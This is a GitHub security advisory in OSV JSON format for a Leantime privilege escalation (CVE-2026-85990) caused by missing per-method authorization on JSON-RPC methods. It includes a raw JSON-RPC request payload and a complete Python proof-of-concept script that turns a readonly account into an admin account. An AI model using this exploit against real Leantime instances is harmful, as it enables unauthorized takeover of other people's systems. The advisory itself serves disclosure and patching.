{"schema_version":"1.9.0","id":"GHSA-54mm-6729-r5wp","published":"2026-10-15T20:14:43Z","modified":"2026-10-15T20:30:06.074137323Z","aliases":["CVE-2026-85990"],"summary":"Leantime: Any Authenticated User Can Self-Escalate to Admin via Unauthorized JSON-RPC Methods","details":"### Summary\n\nAny authenticated Leantime user - including the lowest-privilege `readonly` role - can escalate to full administrative access by calling the JSON-RPC method `leantime.rpc.api.api.createApiKeyWithProjects` with an attacker-chosen `role` value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the `Plugins` service's `installPlugin`, `enablePlugin`, `disablePlugin`, and `removePlugin` methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.\n\n### Details\n\nLeantime's JSON-RPC API (`app/Domain/Api/Controllers/Jsonrpc.php`) reflects any public method on any `@api`-annotated service class and dispatches it at `leantime.rpc.{domain}.{service}.{method}`. Per-method authorization is enforced by `PermissionEnforcer::enforce()` (`app/Core/Auth/Permissions/PermissionEnforcer.php`), which reads a `#[RequiresPermission(...)]` PHP attribute off the target method - but when that attribute is **absent**, `enforce()` silently returns and allows the call through.\n\n`Api::createApiKeyWithProjects(array $values, ?array $projects)` (`app/Domain/Api/Services/Api.php`) is `@api`-exposed and carries no `#[RequiresPermission]` attribute. It forwards `$values` - including a caller-supplied `role` - directly into `createAPIKey()` → `Users\\Repositories\\Users::addUser()`, with no server-side clamping of `role` against the calling user's own privilege level:\n\n```php\n// app/Domain/Api/Services/Api.php\n/**\n * @api\n */\npublic function createApiKeyWithProjects(array $values, ?array $projects): array|false\n{\n    $apiKeyValues = $this->createAPIKey($values);   // no #[RequiresPermission], no role check\n    ...\n}\n```\n\nThe equivalent web route (`NewApiKey` controller) correctly gates account creation behind an admin-only role check (`Auth::authOrRedirect([Roles::$admin, ...])`), but that gate is bypassed entirely by calling the service directly through JSON-RPC.\n\nSeparately, `Plugins::installPlugin()`, `enablePlugin()`, `disablePlugin()`, and `removePlugin()` (`app/Domain/Plugins/Services/Plugins.php`, lines ~266/299/320/342) share the same gap: all four are `@api`-exposed with no `#[RequiresPermission]`, while their web-controller equivalents (`Myapps.php`, `Details.php`) correctly require `Roles::$owner`/`Roles::$admin`.\n\nAuthenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an `X-Requested-With: XMLHttpRequest` header (`app/Core/Middleware/StartSession.php`) - this is exactly what the application's own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.\n\n### PoC\n\nA runnable Python PoC (`requests` library only) reproduces this end-to-end; see the attached `poc.py`. Steps:\n\n1. Create/authenticate as a `readonly`-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g. `/plugins/myapps`.\n2. From that same low-privilege session, send:\n   ```\n   POST /api/jsonrpc\n   Content-Type: application/json\n   X-Requested-With: XMLHttpRequest\n\n   {\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"leantime.rpc.api.api.createApiKeyWithProjects\",\n    \"params\":{\"values\":{\"firstname\":\"poc\",\"role\":40,\"status\":\"a\"},\"projects\":[]}}\n   ```\n   The server responds `HTTP 200` with the newly created account's `user`/`passwordClean` and `\"role\":40` (admin) in the JSON body.\n3. Log in through the normal `/auth/login` form using the returned `user`/`passwordClean`. The resulting session now has full, interactive access to `/plugins/myapps` (HTTP 200) - the exact page that returned 403 in step 1.\n\nReproduced against a local instance built from this repository's own `.dev` Docker tooling (`.dev/docker-compose.yaml`), with dependencies installed via `composer install` / `npx mix` and no modifications to application code.\n\n### Impact\n\nComplete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege `readonly` role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.\n\nScript : poc.py\n```python\n#!/usr/bin/env python3\n\"\"\"\nWhat this script does, against a target Leantime instance:\n  1. Logs in as a LOW-PRIVILEGE account (readonly role by default).\n  2. Confirms the account is correctly blocked by the normal web UI from an\n     admin-only page (expects HTTP 403) -- this establishes the account truly\n     has no admin rights before the exploit runs.\n  3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using\n     nothing but that account's own ordinary session cookie, requesting\n     role=40 (admin). No admin/API-key credential is used anywhere in this\n     step -- only the low-privilege session established in step 1.\n  4. Logs in through the completely ordinary web login form using the\n     generated username/password from step 3, and confirms that account now\n     has full, interactive admin access to the same admin-only page that\n     blocked the original low-privilege account in step 2. (The record is\n     created with source='' rather than source='api' -- createAPIKey() never\n     sets that column -- so it does NOT work as an x-api-key credential, but\n     it is a fully functional role=40 web login, which is a stronger and\n     more direct proof of impact.)\n\nRequirements: pip install requests\n\nUsage:\n  python3 poc.py --url http://localhost:5080 \\\\\n      --username lowpriv@leantime.test --password 'LowPriv123!'\n\"\"\"\n\nimport argparse\nimport sys\n\nimport requests\n\n\ndef rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):\n    \"\"\"Call a JSON-RPC method. Sends X-Requested-With so the session-based\n    guard actually loads the caller's real, persisted session (see\n    StartSession.php:65) -- without it, API requests get a fresh, empty,\n    in-memory session and every call 401s regardless of login state.\"\"\"\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"X-Requested-With\": \"XMLHttpRequest\",\n    }\n    if extra_headers:\n        headers.update(extra_headers)\n\n    resp = session.post(\n        f\"{base_url}/api/jsonrpc\",\n        json={\"jsonrpc\": \"2.0\", \"id\": 1, \"method\": method, \"params\": params},\n        headers=headers,\n    )\n    return resp\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)\n    parser.add_argument(\"--url\", required=True, help=\"Base URL of the target Leantime instance, e.g. http://localhost:5080\")\n    parser.add_argument(\"--username\", required=True, help=\"Email of a LOW-privilege test account (e.g. readonly role)\")\n    parser.add_argument(\"--password\", required=True, help=\"Password for that account\")\n    parser.add_argument(\"--admin-check-path\", default=\"/plugins/myapps\", help=\"An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)\")\n    parser.add_argument(\"--insecure\", action=\"store_true\", help=\"Disable TLS verification (for self-signed local/dev instances)\")\n    args = parser.parse_args()\n\n    verify = not args.insecure\n    base_url = args.url.rstrip(\"/\")\n    s = requests.Session()\n    s.verify = verify\n\n    print(f\"[*] Target: {base_url}\")\n\n    # Step 1: log in as the low-privilege account via the ordinary web form.\n    print(f\"[*] Logging in as low-privilege account: {args.username}\")\n    s.get(f\"{base_url}/auth/login\")  # prime session cookie\n    login_resp = s.post(\n        f\"{base_url}/auth/login\",\n        data={\n            \"username\": args.username,\n            \"password\": args.password,\n            \"redirectUrl\": \"/dashboard/home\",  # avoid the unrelated empty-redirectUrl 500 bug\n        },\n        allow_redirects=False,\n    )\n    if login_resp.status_code not in (302, 303):\n        print(f\"[!] Login did not redirect as expected (got {login_resp.status_code}). Aborting.\")\n        sys.exit(1)\n    print(\"[+] Login succeeded (session cookie established).\")\n\n    # Step 2: confirm the account genuinely has no admin rights via the web UI.\n    check_resp = s.get(f\"{base_url}{args.admin_check_path}\", allow_redirects=False)\n    if check_resp.status_code == 403:\n        print(f\"[+] Confirmed: web UI correctly blocks this account from {args.admin_check_path} (HTTP 403).\")\n    else:\n        print(f\"[!] Expected HTTP 403 from {args.admin_check_path}, got {check_resp.status_code}. \"\n              f\"Continuing anyway, but this account may not be low-privilege as assumed.\")\n\n    # Step 3: the actual privilege escalation -- same session, no API key used.\n    print(\"[*] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) \"\n          \"using ONLY the low-privilege session from step 1 ...\")\n    esc_resp = rpc_call(\n        s,\n        base_url,\n        \"leantime.rpc.api.api.createApiKeyWithProjects\",\n        {\"values\": {\"firstname\": \"poc-escalated-admin-key\", \"role\": 40, \"status\": \"a\"}, \"projects\": []},\n    )\n\n    try:\n        esc_json = esc_resp.json()\n    except ValueError:\n        print(f\"[!] Non-JSON response (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}\")\n        sys.exit(1)\n\n    if \"error\" in esc_json:\n        print(f\"[!] Exploit call failed: {esc_json['error']}\")\n        print(\"    (If this is 'Method is not available via API' or an AuthorizationException, \"\n              \"the target may already be patched.)\")\n        sys.exit(1)\n\n    result = esc_json[\"result\"]\n    new_user = result[\"user\"]\n    new_pass = result[\"passwordClean\"]\n    new_role = result[\"role\"]\n    new_id = result[\"id\"]\n    api_key = f\"lt_{new_user}_{new_pass}\"\n\n    print(\"[+] VULNERABLE: server created a new account with attacker-chosen role, \"\n          \"with no permission check on the calling (low-privilege) account.\")\n    print(f\"    New account id={new_id}  role={new_role} (40 == admin)\")\n    print(f\"    Generated credentials -- username: {new_user}  password: {new_pass}\")\n    print(f\"    (Nominal API key form: {api_key} -- see note below.)\")\n\n    # Step 4: prove the new account carries real, interactive admin privilege\n    # by logging in through the ORDINARY web login form and hitting the same\n    # admin-only page that blocked the original low-privilege account.\n    print(\"[*] Logging in through the normal web UI with the generated credentials ...\")\n    admin_session = requests.Session()\n    admin_session.verify = verify\n    admin_session.get(f\"{base_url}/auth/login\")\n    admin_login_resp = admin_session.post(\n        f\"{base_url}/auth/login\",\n        data={\"username\": new_user, \"password\": new_pass, \"redirectUrl\": \"/dashboard/home\"},\n        allow_redirects=False,\n    )\n    if admin_login_resp.status_code not in (302, 303):\n        print(f\"[!] Web login with generated credentials failed (HTTP {admin_login_resp.status_code}).\")\n        sys.exit(1)\n\n    admin_check_resp = admin_session.get(f\"{base_url}{args.admin_check_path}\", allow_redirects=False)\n    if admin_check_resp.status_code == 200:\n        print(f\"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, \"\n              f\"interactive admin access to {args.admin_check_path} (HTTP 200) -- \"\n              f\"the exact page that returned 403 for the original account in step 2.\")\n    else:\n        print(f\"[!] Expected HTTP 200 from {args.admin_check_path} with the escalated account, \"\n              f\"got {admin_check_resp.status_code}.\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n---\n\n**Maintainer note (resolution):** Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.","affected":[{"package":{"name":"leantime/leantime","ecosystem":"Packagist","purl":"pkg:composer/leantime/leantime"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0"}]}],"versions":["2.4","2.4-beta","2.4-beta-7","2.4-beta-8","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.4.7","2.4.8","3.0.0","3.0.0-beta","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.1.0-beta","3.1.1","3.1.2","3.1.3","3.1.4","3.2.0","3.2.0-beta","3.2.0-beta-2","3.2.1","3.3","3.3.1","3.3.2","3.3.3","3.4.0","v2.0","v2.0.1","v2.0.10","v2.0.11","v2.0.12","v2.0.13","v2.0.14","v2.0.15","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.6","v2.0.7","v2.0.8","v2.0.9","v2.1","v2.1-beta","v2.1-beta2","v2.1-beta3","v2.1-beta5","v2.1-beta6","v2.1.1","v2.1.2","v2.1.3","v2.1.4","v2.1.5","v2.1.6","v2.1.7","v2.1.8","v2.1.9","v2.2.0","v2.2.1","v2.2.10","v2.2.11","v2.2.2","v2.2.3","v2.2.4","v2.2.5","v2.2.6","v2.2.7","v2.2.8","v2.2.9","v2.3.0-beta","v2.3.1-beta","v2.3.10","v2.3.11","v2.3.12","v2.3.13","v2.3.14","v2.3.15","v2.3.16","v2.3.17","v2.3.18","v2.3.19","v2.3.2","v2.3.20","v2.3.21","v2.3.22","v2.3.23","v2.3.24","v2.3.25","v2.3.26","v2.3.27","v2.3.3","v2.3.4","v2.3.5","v2.3.6","v2.3.7","v2.3.8","v2.3.9","v3.4.1","v3.4.10","v3.4.11","v3.4.12","v3.4.2","v3.4.3","v3.4.4","v3.4.5","v3.4.6","v3.4.7","v3.4.8","v3.4.9","v3.5.1","v3.5.10","v3.5.11","v3.5.12","v3.5.2","v3.5.3","v3.5.4","v3.5.5","v3.5.6","v3.5.7","v3.5.8","v3.5.9","v3.6.0","v3.6.1","v3.6.2","v3.7.0","v3.7.1","v3.7.2","v3.7.3","v3.8.0","v3.9.0","v3.9.1","v3.9.2","v3.9.3","v3.9.4","v3.9.5","v3.9.6","v3.9.7","v3.9.8"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-54mm-6729-r5wp/GHSA-54mm-6729-r5wp.json"}}],"references":[{"type":"WEB","url":"https://github.com/Leantime/leantime/security/advisories/GHSA-54mm-6729-r5wp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85990"},{"type":"WEB","url":"https://github.com/Leantime/leantime/pull/3583"},{"type":"WEB","url":"https://github.com/Leantime/leantime/pull/3797"},{"type":"WEB","url":"https://github.com/Leantime/leantime/commit/5605e5ee86bbd01acb85c6b5d8fb337faf8bcf02"},{"type":"WEB","url":"https://github.com/Leantime/leantime/commit/7ebf7a9517e2aaa05ec15b8130ab1841a4bde43e"},{"type":"PACKAGE","url":"https://github.com/Leantime/leantime"},{"type":"WEB","url":"https://github.com/Leantime/leantime/releases/tag/v3.10.0"}],"database_specific":{"cwe_ids":["CWE-269","CWE-862"],"github_reviewed":true,"github_reviewed_at":"2026-10-15T20:14:43Z","nvd_published_at":"2026-10-13T17:17:47Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}